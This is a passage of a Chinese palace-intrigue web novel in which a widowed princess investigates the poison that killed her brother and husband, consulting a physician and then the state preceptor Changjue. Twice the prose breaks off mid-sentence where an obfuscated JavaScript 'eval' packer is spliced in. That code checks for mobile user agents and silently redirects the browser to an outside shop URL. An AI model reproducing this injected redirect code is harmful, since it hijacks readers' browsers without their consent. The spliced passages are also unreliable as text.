长珏喉间一哽,差点没能咽下去,这人他当然认识,但是不是说大公主正在和柔贵妃用午膳吗? 俏丽的女孩款步走入书房,身后跟着的数十名宫女鱼贯而入,开始飞速重新布置书房。 “我和贵妃说了,今日要在这用午膳,你和我一起吃。” “这……” 长珏犹豫了,光听起来就知道这绝对不符合礼数,可转念又一想,礼数规矩对这位千宠万爱中长大的公主而言又是什么呢? 书案被撤下去,上面的物什都被尽数收了起来,摆上一个圆桌,数不清的精致佳肴放至其上,无论是摆盘还是用料、色香味皆为上等。 沈琼华自然地坐下,身边的流玉和浮岚侍菜,她抬眼瞥了一下站在一边的长珏,抬手招呼他:“愣着做什么?坐啊。” 书房内的所有人顿时抬眼,十数双眼睛只盯着他一个,长珏顿感不悦。 沈琼华也注意到了,索性挥挥手:“都下去吧。” 宫女们行了一礼,抬脚离开,书房一下子又空下来不少。 房内一时清净下来,在流玉浮岚二人的注视下,长珏也只好坐到了桌边,说来也奇怪,明明沈琼华无论是个头还是年龄都没有长珏那么大,但是在此刻,长珏反倒是那个略显稚嫩的那一个。 流玉为沈琼华夹菜,浮岚则为她递帕子,她刚咬下一口虾球,便注意到长珏还是在吃着他的馒头,心中不免好奇:“那是你的午膳吗?” 长珏不语,看来是的。 旋即她又问:“好吃吗?” 长珏不知道对于这位公主而言,“好吃”的评判标准是什么,但是看着面前的佳肴,他摇摇头。 沈琼华面露不悦,眼底的笑意褪去一些:“你是哑巴吗?为什么不说话?” 她仔细一想,从见到这个人开始,长珏便没有主动开口说过话,不会真的是个哑巴吧? “不。” 男孩的薄唇颜色很淡,声音如流水击石,未变过声的声音乍一听上去像个女孩:“贫道不是哑巴。” “好吧。”沈琼华忽然笑起来,感觉这么小的人一口一个“贫道”很有趣,心中的那点不悦极快的消散了,她伸手,从长珏的手中拿过了那个馒头,长珏平静无波的脸上露出了一丝冰面破裂般的意外。 他直愣愣地,看着沈琼华毫不介意地咬了一口。 “殿下!” 两个站在她身后的宫女看起来马上要哭出来了,被这突如其来的举动吓得直接僵在了原地,好似只要有机会,就会一个飞扑上来带她去洗漱。 沈琼华浑不在意地朝她们笑笑,口中嚼着嚼着,感觉的确不是很好吃,可是却出奇的抵饱,她将自己的碗推到长珏面前,眼底闪着明亮的笑意: “长珏,我和你换换午膳吧。” 长珏下意识就要拒绝:“这怎么——” “停,闭嘴。” 沈琼华打断了他未说完的话,露出一副听不进去道理的样子:“你是我的人,所以你不能对我说不。” 她的手指触上长珏微凉的手腕,传递出一抹温暖和柔嫩,语气不容拒绝:“从今往后,你听到的便是我听到的,你看到的便是我看到,你吃的便是我吃的,你做的便也是我做的。” “你不可以、不允许瞒着我任何事,也永远永远不能对我说不,作为交换,我也不会对你说不,怎么样?” 长珏眼睫微颤,不动声色地掩下眼底的暗色,注视着那双含笑的眸,心头一跳,飞快地移开眼,却又被沈琼华穷追不舍地追了上来,不容他逃避。 他整个人都向后躲了躲,低着头皱起脸,好半晌才低声问:“为、为什么殿下要这么做?” “嗯?” 女孩歪着头,本就明亮的双眼染上几分疑惑,没听清,直到长珏问了第二遍,她才恍然大悟地笑起来,笑容灿烂:“因为我喜欢长珏啊!” “所以,就这样约定好了哦。” 7. 紫菀 沈琼华从不断涌来的回忆中清醒过来,感觉到自己的裙摆不断被人拽着,她错开长珏的视线,低头看见沈盼。 “娘亲,你在想什么呀?” 沈盼仰着小脸,懵懂地望着她,手上还拿着那半个馒头。 她像是被针扎了一般,猛地将沈盼从地上抱起,嘴中念着:“你阿帕在找我们,我们该回宫了。” 话音落下,沈琼华便要转身,长珏望着她的身影手指一动,旋即便看见她略一停顿,回头望过来。 眼眸闪过一丝冰冷,低声丢下一句:“多谢。” 这一回,她没有一丝迟疑地转身离开,沈盼被她抱在怀里,恰好面对着长珏的方面,十分热切地朝着他挥手告别。 长珏没有回应沈盼,他只是站在原地,静静地注视着她们远去。 沈琼华抱着女儿,脚下的步伐却略显慌乱,仿佛像是逃跑一般,沈盼抱着她的脖颈,不明白娘亲为何会是这样的反应。 回宫的马车很快便安排好了,太后早已坐在宫车上恭候,沈盼丢失的事情终究还是没能瞒住,不过好在碧云嬷嬷劝住了她,没有大肆搜寻道观。 一上车,沈盼便小跑着到了太后的怀里,被一脸焦急的太后一把抱住,搂在怀中摸着小脸问个不停:“哎呀我的乖心肝,怎能到处乱跑,若是磕着碰着了可如何是好?” “阿帕我没事,您看,我拿了花来!” 她举起小手,将紫色的花朵像献宝似的献给太后,一脸天真的模样霎时间敲动了太后那颗柔软的心肠,抱着她好一阵溺爱。 “哎呦,我们盼儿啊,怎么这么讨人喜欢呀?你是不是上天送给阿帕的礼物啊?” “是!” 沈盼一点不知道什么叫自谦,脆生生地应了,引得太后又是一阵笑,笑得脸都僵了。 沈琼华坐在一边,像是在思考着什么,而这一沉思,便是一直到傍晚。 夜色落幕,天上星辰闪烁,无数繁星在白云之上明灭,唯有那无可替代的月亮,悬挂在夜空中,洒下无尽望舒。 沈琼华披着一件红色的薄纱外衣,内里白色的衬裙变得极为明显,雪白的肌肤若隐若现,被披散下的乌发遮挡。 她松了发髻,脸上的妆容也已尽数卸去,但依然难掩眉眼间的妩媚动人。 十年过去,那个明媚张扬的少女,也渐渐显出成熟的风韵。 沈琼华手持一杆黄铜灭烛器,其头部做成了铃兰的式样,缓缓熄灭九节烛枝上的火光。 浮岚缓缓推开门,蹑手蹑脚地走了进来,在沈琼华身边低声道:“殿下……” “嘘。” 沈琼华竖起一根手指抵在唇边,侧头看向一边的床榻。 凌乱的锦榻上,沈盼大张着双臂,已然在睡梦中沉沉睡去,这一日的玩乐显然十分耗费她的精力,以至于刚用完晚膳,她便睡意难挡了。 听到均匀的呼吸声,她才收回视线:“说吧。” “是。”浮岚正色道:“巴亚尔从宫外到来消息,写给小孙大夫的信已然交到千金阁的人手中,一切安排妥当。” 沈琼华熄灭烛火,闻言抬起眼,眼底的火光在逐渐消散,旋即她伸出手,从颈间取出一个吊坠。 这个吊坠的样式十分新奇,金子刻意做成了一个瓶状,看起来像西域呈上来的贡品,瓶身小巧精致,珐琅色彩斑斓,即使是当作装饰品也不会有人怀疑。 “行,备下马车,明日我要出宫。” “是。” 翌日,一辆寻常车驾从皇宫的侧门驶了出去,直奔西市。 此刻时间刚过午时,西市上人声鼎沸,摩肩擦踵,买卖声、吆喝声、还价声连成一片,酒楼里,小二端着酒菜飞快地穿梭着,一楼大堂时不时传来客人的谈话声。 二楼一间靠大街的雅间内,乔装后的沈琼华坐在窗边,头戴着一顶长长的帷帽,眼神落在外面的街上。 西市并不仅仅只有食肆,衣肆、绢行、油靛店、秤行、药铺,共同构成了一条繁华无比的街市,在这样一条黄金地带上,每一家生意一日内可达成的交易银钱不下百两。 光看着这繁华的街景,沈琼华便能看出来,百姓的民生得到了多大的改善。 “哐当。” 掌柜亲自推开雅间的门,端着热腾腾的饭菜送了上来,眉开眼笑地招呼:“菜来了!两位客人,可还有别的吩咐?小店可还有压箱底的百年佳酿!您可要——” “不必了。” 沈琼华温声拒绝了掌柜的好意,帷帽将她的脸遮挡得严严实实,沈盼也戴着顶小帷帽乖乖地坐在她身边。 “多谢掌柜的,这是这顿饭的银子,多出的便当做给掌柜喝酒用的吧。” 说着,她从袖中拿出一个鼓鼓囊囊的钱袋,掌柜满脸堆笑地接过去,一掂便知道这里面的银钱有多少:“哎呀!您太客气了,那我先下去了,您慢用、慢用!” 人一走,雅间的门被关上,沈盼仰着头看着沈琼华,她轻笑道:“吃吧。” “好耶!” 沈盼一脸乐呵呵地朝着桌上的美食扑去,外面的食物虽然比不上皇宫内的,但小孩子就是图个新鲜感。 “咚咚。” 沈琼华伸手敲了敲窗户框,不到三秒,一个人影便从屋顶翻进来,在半空中翻转一圈后完美落地。 巴亚尔抬起脸,依旧面无表情的脸在看见一桌美食时,霎时间两眼放光,和沈盼两个人毫无形象地吃起来。 “嗯!” 咬下一口鸭肉,巴亚尔澄澈的眼眸顿时亮起,闪烁出星辰般的色彩侧头看着她,举了举手上的鸭腿:“好吃!” 巴亚尔是几年前被沈琼华从羊圈里捡回来的孤女,平时总是沉默寡言,除了沈琼华以外不对任何人主动开口说话,心思也十分纯正,像是草原上吹来的一缕清风。 “好吃就多吃点。” 沈盼和巴亚尔两人一起伏在桌边,一个是腿短够不着桌子只能用碗扒拉,一个是不习惯用筷子只好上手抓,一时间竟分不清巴亚尔究竟多大。 沈琼华宠溺地看着两人,没有制止。 只是下一秒,窗外忽然传来一阵喧闹。 “哇呀!” 就在这家酒楼的对面,开着一家名为千金阁的药铺,一个身高七尺的大汉被人粗暴地从里面拎出来,一把扔到了大街上,翻起一片尘土。 大汉轰然倒地,却好似喝醉了一般,脸上泛起不正常的红晕,眼神飘忽地含糊道:“你、你这丫头做什么?!这千金阁大爷有何去不得?!” “我呸!” 站在他面前的女人身高足有七尺,寻常布衣下难以遮挡她生有肌肉的双臂,眉目清秀,但眼底的情绪好似淬火的星子,双手叉腰,气势汹汹地对着地上的大汉骂道: “瞎了你的狗眼!睁大眼睛看看这是那?!” “‘人命至重,有贵千金*’可曾读过?!青天白日的喝了黄汤在我这阁内乱闯,还敢动我的客人,再有下次老娘赏你吃根针,给我滚!” 女人气色极佳,骂起人来脸不红心不跳,颇有威严,这大汉被她像小鸡崽一样扔了出来,眼瞧着讨不到便宜,被骂后直接连滚带爬地跑走了。 周围聚了一大群人,见着此情此景也不奇怪,甚至连稍作停留都没有,倒是有人在一边劝道:“小孙大夫,这大白日的你别动了火,来小店喝碗凉汤如何?” 孙紫菀摆摆手,拒绝说:“不了,阁内还有病人,还有掌柜的,你近几日那手才好,别忘了多歇息。” “哎呀,肯定的,小孙大夫放心!” 两个人笑着道了别,孙紫菀转身重新走回千金阁内,接着忙她的事。 沈琼华倚在窗边,眼神追着那孙紫菀一直到她消失,唇边浮现一抹笑:“看来,故人过得不错。” 现在是春日,换季期间长安不少人都患了时邪,虽说不是什么大病,但小病也是磨人,为此,千金阁的生意十分忙碌,药铺里外都没个下脚的地,柜台前头挤满了人,伸着胳膊往里递药房。 铜戥子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585222|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在活计手里唰唰地响,孙紫菀坐在里间的诊室内,手指搭在姑娘的脉搏上,不出几秒,便给了回答:“近日时行疫病盛行,症见壮热、头目胀痛,加上姑娘尚在红潮,我给您开些药,您吃几副必然就好了。” “好好好,多谢小孙大夫。” 那女子万分感激地领了药房,起身出去。 孙紫菀一连看了十数位病人,连午膳也未用,现下看来一时也难以闲下来。 “啊——”她高举双手,松了松久坐而僵住的筋骨,对外喊:“下一位。” 随着话音落下,一只手掀起门帘,头戴帷帽的女人牵着个矮小的身影走了进来,引起了孙紫菀的注意:“姑娘这是?” 她好奇地打量着面前这两人。 沈琼华对着跟上来的巴亚尔轻声吩咐:“你先带着盼儿找个静谧的地方坐着,我不久便来。” “是。” 巴依尔牵起沈盼的小手,她身上的突厥服饰被孙紫菀看在眼里,这条街上来来往往的外邦人不少,但是突厥人…… 大周与突厥十年前的那场仗,打了整整两年,端王的胳膊和承徽公主都搭了进去,虽说百姓无罪,但一般突厥人也不会留在长安自找没趣。 孙紫菀的目光淡淡地扫过沈琼华身上的中原衣物。 中原人、突厥侍女、还有一个女儿——! 她眼眸亮起,朝着沈琼华投去希冀的目光:“莫、莫非您是——” 沈琼华掀起自己的帷帽,露出一双美眸,含笑道:“叙旧不见,不知小孙大夫可还好,还有孙老先生的身体可还硬朗?” 当看清这人的样貌时,孙紫菀先是一愣,旋即眼眶便瞬间红了起来,嘴唇动了动,话还未说出便“扑通”一下跪在了地上:“殿下、是殿下,您终于回来了!” 沈琼华惊得慌了神,连忙将她从地上拉起来:“你我多年未见,何必如此大礼?” “不,若非殿下当年提携,我和师傅早就死在了流民群里,还如何开得了这个医馆。” 孙紫菀的眼角滑下泪水,沈琼华轻轻将其抹去:“我身为公主,庇护我的子民便是我的责任,况且小孙大夫你这一身本领,救下的流民没有五千也有一万,要说谢,也是我该谢你。” “那有,救病再简单不过,难的是救命,公主孤身入那突厥,彻底止战,此举才是大义。” “不要再说这些了,事情都已经过去,而我也已回到大周。” 沈琼华的提醒令孙紫菀惊觉,自己这样提这件事也有往公主心里插刀子的嫌疑,好不容易回来了,又何必提那些伤心事呢? 于是她赶忙擦掉眼泪,露出一个坚强的笑:“是啊,一切都已经过去了,殿下给我的信我已收到,请跟我到后屋来吧。” 孙紫菀将病人交给了另外一个看馆的大夫,自己带着沈琼华来到千金阁的后院,想想十年前,这里还是一所破旧的寺庙,现在却在废墟上重建。 沈琼华跟着她站在了庭院内的大树下,那里立着一块半高的墓碑,上面镌刻着“恩师孙语堂之墓”。 经历过先前李嬷嬷的事,沈琼华再词面对故人的逝去时显得平和了很多,她摘下帷帽,低头注视着墓碑,眼底浮现一抹哀伤。 孙紫菀见状宽慰:“师傅是寿终正寝,不是人人都是那道玄真人,殿下无需在意。” “不,我并不是在为孙老先生感到难过,只是有些怅然罢了,故人离去,我却无法见上最后一面。” 想想沈琼华回长安至今,都不知是喜更多还是悲更多,不管怎么样,她都回来得太晚了。 孙紫菀打量着她的神情,不知道该说些什么才能让她感到好受些,身为大夫的她早就习惯了离别。 默了片刻,沈琼华抬起眼,孙紫菀看见她眼底的哀伤已经散去,化为了一片坚定的神色。 “既如此,我们来讨论一下正事吧。” “民女早就准备好了。” 孙紫菀带着沈琼华,走进了自己的主屋,门从里面被紧紧关上。 8. 乌浒 金制小瓶上的盖子,被一柄小刀用刀剑小心翼翼地撬开。 在油灯的映照下,小瓶内的透明液体被极慢、极缓地倒进了一方小盏中,孙紫菀的动作十分谨慎,一眨不眨地盯着瓶口,手抖都不抖一下。 沈琼华目光锁定在那仅有的一小盏液体上,胸腔内顿时泛起一阵恶心,她捂住嘴,忍住不让自己失态。 孙紫菀看着那碗盏,液体实在不算多,只勉强填了个底,她捧着那碗盏又闻了闻,闻到的只有酒的气味。 而就在这时,沈琼华开口了,解释这些东西的来历: “这是我夫君离世后,我趁乱从他的酒杯中取得的酒液,这酒中的毒,和当年文慧太子的一模一样。” 沈琼华垂下眼,眼神黯淡下来:“只可惜,我遍寻了所有医者,无人能辨别出这毒究竟是什么,无奈之下,只能来找小孙大夫你。” 孙紫菀一愣,问:“包括宫内的太医吗?” 这下沈琼华摇摇头,说: “没有,但是当年文慧太子死时,太医院除了知道这是一种奇毒外,同样说不出个所以然。” 这只是一层缘由,还有一层则是她害怕惊动太医署,会将这件事捅到沈怀瑾那边去。 眼下只有孙紫菀,成了她唯一的救命稻草。 “何况小孙大夫一身医术不输太医,想必定能看出些什么。” 孙紫菀盯着碗底的液体看了许久,能毒害文慧太子还不被发现,想必也无法被银针试出来。 屋内一时陷入了死一般的沉默中,细小的飞蛾振翅,从窗边的阳光下掠过,飞到那火苗前。 火苗被风吹得不断摇摆,火舌在飞蛾的翅膀边一触即分,看得人的心不由得揪成一团,替那虫子捏一把汗。 沈琼华心绪不宁,看着低头沉思的孙紫菀并没有出声催促,既然她没有一口回绝,那便是还有些希望。 不知过了多久,久到沈琼华感觉自己站得足底都在隐隐作痛时,孙紫菀终于动了。 只见孙紫菀猛地抬起头,眼底迸出灼热的火焰,高声道: “我记起来了!” 沈琼华看着她忽然跑了出去,不知去了那,回来后手上捧着一本破旧不堪的书册,在她手下书页被翻的哗哗作响: “此毒无色无味,不同于砒霜鸩毒,银针对其无用,服用后三分钟内便会毒发身亡。” 她每念出一个字,沈琼华的心便颤了几分,指甲深深扎进手心,理智和痛苦一起灌注在她的脑中,眼神闪出希望的光芒:“是,就是这些症状。” 每一个字仿佛都含着沈琼华齿间的鲜血,她尝到了铁锈味。 “我记得,师傅昔日云游时,闯入一蛮族的领地,险些遭那些人诛杀。” 这件事在孙语堂心中留下了不小的阴影,也因此他将这件事告诉了孙紫菀。 “师傅说,那是一个活跃在西原州异邦部族,那部族的人喜好鼻饮,居干栏,极擅长使用毒物,名讳乌浒*,若说有什么毒物是连中原都没有的,那便只可能来自那里了。” 乌浒? 沈琼华眉头一皱,她从未听过这个名字,西原州,那便是岭南道附近,可那不是靠近三皇兄的封地吗? 接着,孙紫菀的手一停,翻到最后一页,眼神却倏地一抖:“怎、怎会如此?!” 沈琼华走过去一看,才惊奇地发现书页的最后一页竟然已经被人暴力撕去,只留下一片片残角。 孙紫菀同样不解,着急地说:“这书是师傅他老人家三十年前云游天下时自己著作的,虽因流浪时遭遇山匪,但还是传了下来,我也一直小心对待,不可能发生缺页的事情啊!” 这突如其来的变故使得两人瞬间慌了心神,沈琼华心中又是一紧,没想到她这次出宫又是竹篮打水一场空,难道这件事就只能这样放弃,她永远都找不到杀害她兄长和夫君的真凶了吗?! 好在这时,孙紫菀宽慰道:“殿下别急,这世上那么大,定然还有大夫知道这种毒,不如我帮您打听打听?” “不用。” 沈琼华全身的力气都在一瞬间被抽干了,连太医和孙紫菀都查不出来,这件事真的还有希望吗。 说着,她便拿起自己放在桌上的长帷帽,抬脚便要走。 孙紫菀看着她落寞的背影,心中生出一丝愧疚,忽然,她眼眸一闪,想起什么似的提议道: “对了!国师,国师云游天下,医术更是前无古人后无来者,若是他,必定知道这毒是什么。” 沈琼华身形一顿,半晌,僵硬地转向她,对上一双亮得惊人的眼眸。 孙紫菀抬脚走近,脸上满是关怀的笑: “再说了,即使老国师已经退任,现下的长珏国师也必定还留有老国师的手记啊书册什么的,殿下不是同国师十分要好?为何不去问问呢?” “要好”两个字像一盆冷水,劈头盖脸地便朝着沈琼华的头顶浇下来,从身到心都浇了个彻底。 孙紫菀觉察出沈琼华的神色没有她想象中的那么好,眼底含着担忧,问: “殿下,您怎么了?” 不知为何,沈琼华明明将自己的情绪藏得很好,不仅没有像孙紫菀预想中的那样喜笑颜开,如拨云见日,反而微微皱起了眉头,而孙紫菀竟然也在那眼眸中,探究到一丝丝的……苦涩。 莫、莫非是国师和长公主之间发生了什么,但——不可能啊。 孙紫菀到现在还记得,当年她还和师傅困在那个污浊不堪的流民堆里的时候,那位意气风发的公主竟在他们被人夺去救命药草时及时伸出援手。 而少年跟在她身后,小心翼翼地拉着她的裙摆,不让她沾染地上的污泥,更是在流民堆里像个沉默的石像般守护着公主,即使是孙紫菀,也被戒备的少年打量了许久。 少年看着公主的目光,是绝无虚假的爱惜,那双如墨如潭的黑色眼眸中,有另一股庞大的情绪在潭底翻涌,不断滋生膨胀。 那时的孙紫菀便觉得,这位少年必然会对公主言听计从,无论什么事,怎么如今……倒像是有些矛盾? 沈琼华略一迟疑,垂眸思考着什么,片刻后,倒像是下定了什么决心: “今日的事,多谢你了,接下来我会自己看着办。” 孙紫菀虽然还是没搞懂她为什么是这个反应,但这毕竟是对方的私事,她也不好过问,只好目送着对方走了。 待马车回到皇宫,刚一下车马,沈琼华便遇见了太后派来接沈盼去慈懿宫玩的宫女,她当时心情说不出的乱,索性便让沈盼去了。 回了长乐宫,流玉收起被随意抛在地上的帷帽,目光追逐着一进来便坐在了妆奁前的沈琼华。 一颗心急得快从嗓子眼里跳出来,刚想追问,便注意到了殿内的其他宫女。 “咳。”流玉眼珠子一转,沉声说:“你们都下去吧,给长公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585223|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主烧水去,梳洗打扮。” “是。” 宫女们识趣地退了下去,殿内霎时只剩下了流玉浮岚和沈琼华三人。 没了其他阻碍,流玉也不再掩饰,问:“殿下,如何?小孙大夫可看出了什么?” 注视着流玉焦急的神色,沈琼华的第一反应是低下了头,脸上写满了凝重。 浮岚顿时会意:“莫非,是小孙大夫也看不出来?” 两人的心顿时凉了半截,事情发展至今,进展前所未有的困难,可这也在情理之中,当年先帝下令都未能抓到刺客,现在区区这点时间,能查到反而不正常。 这样想着,她们又重新调整好了心情,宽慰道: “没事,殿下才回宫,用不着这样心急,只要沉下心来仔细查,不怕查不到一些蛛丝马迹。” “是啊是啊,又或者那刺客早就不知道死在哪个山崖下了,殿下不要灰心。” 沈琼华拿起那个瓶型吊坠,眼神凝重地开口:“小孙大夫说,西原州附近活跃着一个部族,名为乌浒,文慧太子、甚至阙特勤所中的毒,都有可能来自那个地方。” “只是,所用的毒尚且不知是什么……”沈琼华的面色并不好看,犹豫了一瞬还是说:“她推荐我去找国师,说或许他会知道一些。” 国师…… 长珏这个名字已经是沈琼华身边的禁忌,浮岚流玉两人对视一眼,不约而同地收了声,好似对这个名字避之不及。 但事情既然已经到了这个地步,浮岚还是极谨慎地出声询问:“那殿下可要去?” “为何要去?” 沈琼华还没开口,站在一边的流玉便一口回绝了,她眼神冰冷,说出的话不掺杂一丝情感: “他不恨殿下便算不错了,又怎会帮助殿下调查这件事?” 想起之前的事,流玉便气不打一处来,浮岚也知道这个要求十分无理,只是她想着,国师既然帮了李嬷嬷,那不也代表当年的事他其实早已不在意了吗? 可看着流玉气冲冲的样子,她也不好接着说下去。 然而就在此时,深思过后的沈琼华开口了,她神情淡然,冷声道:“不,我要去。” “殿下?” 两人都吃了一惊,似乎是对沈琼华这个决策感到十分不可置信。 沈琼华毫无畏惧地对上二人的目光,语气平静: “当年的事早就过去了,如今他既然是国师,便理应为大周效力,我是长公主,调查的事也属于国事,为何问不得?” 她坐在妆奁前,目光打量着铜镜中的自己,铜镜还是那面铜镜,太后将她的旧物都保存得十分完好,可是铜镜中的人却不再是那个人了。 “何况,他恨我,不过是我和他之间的私人恩怨,与我在查的事无干,他不是一个公报私仇的人。” 长珏确实不是,但他也不是个乐于助人的人啊。 流玉将这句话压在喉咙里,没有说出来。 殿内的空气几乎凝固,两人心里都清楚,沈琼华的话字字珠玑、掷地有声,压根不是说给她俩听的,明明是在说服她自己。 “传我令。” 女人取下自己头上的珠饰,镜中的面容被身躯遮盖,看不清她此刻的神情。 “明日,我会亲去太虚观,拜访国师,至于由头……就说是解梦吧。” 浮岚担忧地望向她,闻言也只好应下:“是……” 9. 相见 太虚观,本位道家弟子修行之处,只因接近长安,天子脚下的一切人与物,都难免沾染了些铜钱气。 前任国师道玄真人为了以防弟子学那些山下的世俗气,便下了死令。 除却必要的来往外,山上的弟子不得与任何人、任何事搭上关系,山下的纠纷决不能带上山。 而只有一个人,可以径直无视掉这条禁令。 这一日,天光大好,清晨的薄雾逐渐消散,道观内一片祥和。 喜鹊振翅掠过屋檐,小道士手持扫帚,轻轻扫去山阶上的落叶,现在是春季,落叶不多,但为了门前清净,不得不扫。 后山的小屋内,长珏身穿布衣坐在窗边,外头的日光倾泻而下,打落在他的身后。 手边棋盘上的云子被日光照得发亮,浮尘随着被缓缓翻动的棋谱在空气中飞舞,旋即落在不知何处。 长珏青丝如墨,未束未绾,随意地散落在肩上,肤色雪白如无暇的瓷器。 修长的手指拈着墨玉般的棋子,反倒衬着他的指节更加苍白。 陆去燕轻轻推门而入,一眼便瞧见了正对着大门的长珏。 余光飞速地从他手边的棋盘上掠过——整整一个时辰过去了,这枚棋子还是没落下。 他面色严肃地站直身体,对着长珏行了一礼: “师傅,长公主殿下一行人,已经进了山门了。” “搭嘎”一声,棋子被扔回棋盒中,那尊沉默的塑像终于从位置上起身,抬脚走入简陋的内室: “我知道了,带长公主殿下去凌虚阁,吩咐所有人,不准打扰。” “是。” 陆去燕转身离去,关门的声响中夹杂着衣物垂落地面的摩挲声。 长珏褪去身上的布衣,从衣橱内取出一件无论从质地、还是制式上都比寻常布衣好了不知多少倍的白袍披上,腰间未挂环佩,更显简单。 男人站在日光与阴影的交界处,周身萦绕着一种难以接近的气息。 他明明动作不慌不忙,速度却极快,不出一会,乌发便被他规整地束起,袖袍随着他的动作滑到手肘处,左手的小臂上赫然缠着一大截洁白的绷带。 长珏垂下眼,伸手拉过袖子遮住,抿着的唇瓣没有一丝弧度,也没有不悦——只是漠然,宛如一片近在咫尺却怎么都无法抓住的雾。 待恢复这幅“国师”的样貌,他瞬间又与这处简陋的小屋格格不入起来,好似一尊泥巴庙里的菩萨。 而此刻,这尊“菩萨”此时垂着头,去看那放在衣橱里的木盒,盒中安然放着一对金铃。 金铃制作精巧,镂空的外壳上还嵌着明珠,在阳光下散发着莹润的微光,一看就知道是女子的款式。 长珏关上衣橱的动作一顿,眼底染上一抹晦暗,旋即他像是下了什么决心,动作轻柔却也极坚定地关了橱柜,将那布衣和这对金铃一起关在了黑暗中。 凌虚阁,原先是道玄真人的住处,建在太虚观的最高处。 站在这阁上,放眼望去,可将整座太虚观尽收眼底,而屋后,又是观星台,白日可以坐在那台边看云卷云舒,夜里可以望见万千繁星,实在是一处逍遥的好去处。 沈琼华被陆去燕带进凌虚阁,方一进门,她便被眼前的布置吸引了注意力。 这处地方她少年时从未来过,她与道玄真人甚至没正儿八经地见上几面。 只是偶尔从长珏口中听到些事情,以致于道玄真人在她心里,一直是个神神叨叨的老头形象。 于是便也自然而然地认为,他住的地方,定然也会是那种挂满了经幡、还有作法用具,五步一桃木剑、十步一莲冠的地方,没想到竟然会这么—— 她抬起眼,目光略过几乎没有杂物的室内,装潢雅致、布置简单。 但一草一木、一榻一桌都看得出价值不菲,就算没有黄金、珠宝的点缀,沈琼华也能看得出这些东西的价值。 陆去燕站在距离她不远的地方,神色自然地对着她说: “还请殿下稍坐,师傅即刻便到,他说在他未到前,殿下可自便。” “我知道了。” 她目送着陆去燕离去,回头朝着流玉浮岚使了个眼色,两人便识趣地退了下去。 沈琼华没有坐下,她只是静静地在原地站了一会。 下一秒,身后的门被人推开,阳光并没有随着打开的大门落在她身上,而是一道黑影覆了上来,将她的视线尽数吸引过去。 长珏淡漠的眸光在落到她身上时,有极为明显的一愣。 今日的沈琼华没有再穿白衣,早在上次的仪式时,她便正式脱离了丧期。 一袭赤红广袖曳地襦裙,裙摆上金丝绣作的莲花在阳光下熠熠生辉,头上是赤金累丝衔珠步摇,回过头来时珠串还随着头的摆动晃了晃。 绯红的胭脂在微翘的眼尾处晕开,如凤羽般的眼睫飞扬,眼波未动便已带三分惊艳,光洁的眉心盛开着一朵五瓣梅花花钿,昔日素衣都无法遮掩的绝色现在更是重新焕发出灼灼生机。 看见长珏进来,沈琼华反应不大,两人短暂地对视了一瞬,旋即长珏猛地移开眼,侧身掩过自己的面容,沉声问: “等很久了吗?” 沈琼华盯着他的眼,说:“这不重要。” 两人在茶几旁坐下,陆去燕端上茶水和糕点,便立刻走了出去,同时也带走了所有待在附近的宫女。 阁内一时间被沉默浸透,沈琼华看着长珏熟练地投茶、润茶、冲茶,手法娴熟利落,不明明泡茶是一件不那么有趣的事,现在却因眼前这人的姿容,竟也变得赏心悦目起来。 同样的泡茶流程沈琼华见他做了成千上万次,只是那是很久之前的事。 她歪着身体,随意地倚靠在椅子的一边,淡淡地扫过对面正襟危坐的男人,目光下移,热茶散开一片片白雾,杯中倒映着她的脸。 沈琼华心中升起一阵焦躁,伸出手,没有去拿那茶杯,而是指间一转,将手中的吊坠扔了过去。 长珏抬手接住,摊开手心,静静地注视着那吊坠。 “帮我看看,这里面究竟是什么。” 她的语气可谓是不客气,沈琼华早就习惯了怎么和长珏说话。 除了初见的那段时间,之后的日子她从不请求,只下令,即使长珏现在当了国师,也没法改变什么。 长珏神情淡淡的,也不生气,将瓶型吊坠上面的盖子掀开,里面有毒的酒液还在孙紫菀那。 他将瓶口凑近鼻尖,酒液的气息混杂着某些气味,眼神微闪着将吊坠放在茶几上。 “如何?”沈琼华追问:“看出什么了?” 长珏伸手提起热水壶,下一秒便浇在了吊坠上,瓶内的毒液霎时间被烫得一干二净,声音肃然而冷冽,隐隐透出一丝克制: “殿下不该拿着这个吊坠,后患无穷。” “与你无关,你只需说明这究竟是什么就行了。” 沈琼华并不在意,反正孙紫菀那边还有。 桌边的火炉发出一声“噼咔”,火星崩起,旋即又被水壶压下去。 二人对上视线,望见彼此眼底的情绪。 “这是乌浒一族的秘宝,一种名为双命藤的药草制成的毒药,服下毒药的人活不过一炷香,而解药也只有乌浒人独有。” “双命藤?” 沈琼华的双眸中升起浓浓的不解。 “那是一种由乌浒人培育而出的植物,师傅当年云游时偶然得知,我有次偶然与师傅论道之时,听他提起过。” 长珏此言,反倒是立刻使沈琼华变了脸色,厉声问: “既然道玄真人早已知道,那当初文慧太子中毒之时,为何不禀明阿耶?” 长珏神情严肃,一字一句好似是严冰塑就的: “当年文慧太子之死,师傅赶到时已经是无力回天,何况下毒的人当时已然逃出皇宫。” “既如此,抓住刺客,总比搞清毒药是什么更加重要吧。” “给我住嘴。” 她压着嗓子,眼中闪过一丝狠厉:“那是我的长兄。” 任道理再怎么浅显易懂,都不代表长珏可以评判那把一直深深插在她心中的刀。 随着时间的流逝,那痛苦并未消减一丝一毫,反而愈发深邃。 